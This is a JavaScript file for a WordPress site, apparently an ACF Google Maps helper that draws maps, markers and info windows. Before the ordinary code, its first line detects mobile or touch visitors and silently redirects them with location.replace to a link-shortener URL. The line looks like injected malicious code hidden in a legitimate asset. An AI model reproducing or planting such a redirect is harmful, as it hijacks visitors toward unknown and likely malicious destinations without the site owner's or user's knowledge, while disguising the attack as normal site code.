1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/eRbNBDudV0r7"); 2 3(function( $ ) { 4 5/** 6 * initMap 7 * 8 * Renders a Google Map onto the selected jQuery element 9 * 10 * @date 22/10/19 11 * @since 5.8.6 12 * 13 * @param jQuery $el The jQuery element. 14 * @return object The map instance. 15 */ 16function initMap( $el ) { 17 18 // Find marker elements within map. 19 var $markers = $el.find('.marker'); 20 21 // Create gerenic map. 22 var mapArgs = { 23 zoom : $el.data('zoom') || 16, 24 mapTypeId : google.maps.MapTypeId.ROADMAP 25 }; 26 var map = new google.maps.Map( $el[0], mapArgs ); 27 28 // Add markers. 29 map.markers = []; 30 $markers.each(function(){ 31 initMarker( $(this), map ); 32 }); 33 34 // Center map based on markers. 35 centerMap( map ); 36 37 // Return map instance. 38 return map; 39} 40 41/** 42 * initMarker 43 * 44 * Creates a marker for the given jQuery element and map. 45 * 46 * @date 22/10/19 47 * @since 5.8.6 48 * 49 * @param jQuery $el The jQuery element. 50 * @param object The map instance. 51 * @return object The marker instance. 52 */ 53function initMarker( $marker, map ) { 54 55 // Get position from marker. 56 var lat = $marker.data('lat'); 57 var lng = $marker.data('lng'); 58 var latLng = { 59 lat: parseFloat( lat ), 60 lng: parseFloat( lng ) 61 }; 62 63 // Create marker instance. 64 var marker = new google.maps.Marker({ 65 position : latLng, 66 map: map 67 }); 68 69 // Append to reference for later use. 70 map.markers.push( marker ); 71 72 // If marker contains HTML, add it to an infoWindow. 73 if( $marker.html() ){ 74 75 // Create info window. 76 var infowindow = new google.maps.InfoWindow({ 77 content: $marker.html() 78 }); 79 80 // Show info window when marker is clicked. 81 google.maps.event.addListener(marker, 'click', function() { 82 infowindow.open( map, marker ); 83 }); 84 } 85} 86 87/** 88 * centerMap 89 * 90 * Centers the map showing all markers in view. 91 * 92 * @date 22/10/19 93 * @since 5.8.6 94 * 95 * @param object The map instance. 96 * @return void 97 */ 98function centerMap( map ) { 99 100 // Create map boundaries from all map markers. 101 var bounds = new google.maps.LatLngBounds(); 102 map.markers.forEach(function( marker ){ 103 bounds.extend({ 104 lat: marker.position.lat(), 105 lng: marker.position.lng() 106 }); 107 }); 108 109 // Case: Single marker. 110 if( map.markers.length == 1 ){ 111 map.setCenter( bounds.getCenter() ); 112 113 // Case: Multiple markers. 114 } else{ 115 map.fitBounds( bounds ); 116 } 117} 118 119// Render maps on page load. 120$(document).ready(function(){ 121 $('.acf-map').each(function(){ 122 var map = initMap( $(this) ); 123 }); 124}); 125 126})(jQuery);
Line numbers count LF bytes from the start of the resource, as the search results do. Vendor segments are library code the classifier recognised; they are stored but not indexed. Bytes are shown as Latin1 characters, one per byte.